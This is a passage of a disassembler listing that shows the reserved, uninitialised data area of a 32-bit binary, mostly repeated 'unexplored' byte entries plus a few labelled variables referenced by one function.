? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored unk_80797B5 db ? ; unexplored ; DATA XREF: sub_804C6FC+3Bo db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored dword_8079BB8 dd ? ; DATA XREF: sub_804C6FC+12o ; sub_804C6FC+20w ... db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored dword_8079C48 dd ? ; DATA XREF: sub_804C6FC+19o ; sub_804C6FC+2Aw ... db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored dword_8079CD8 dd ? ; DATA XREF: sub_804C6FC+20Aw ; sub_804C6FC+2D3o dword_8079CDC dd ? ; DATA XREF: sub_804C6FC+200w dword_8079CE0 dd ? ; DATA XREF: sub_804C6FC+149w dword_8079CE4 dd ? ; DATA XREF: sub_804C6FC+151w ; sub_804C6FC+244r ... dword_8079CE8 dd ? ; DATA XREF: sub_804C6FC+2C9w dword_8079CEC dd ? ; DATA XREF: sub_804C6FC+50w ; sub_804C6FC+D3w ... dword_8079CF0 dd ? ; DATA XREF: sub_804C6FC+5Aw db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored unk_8079D78 db ? ; unexplored ; DATA XREF: sub_804C6FC+68o ; sub_804C6FC+DCo ... db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; 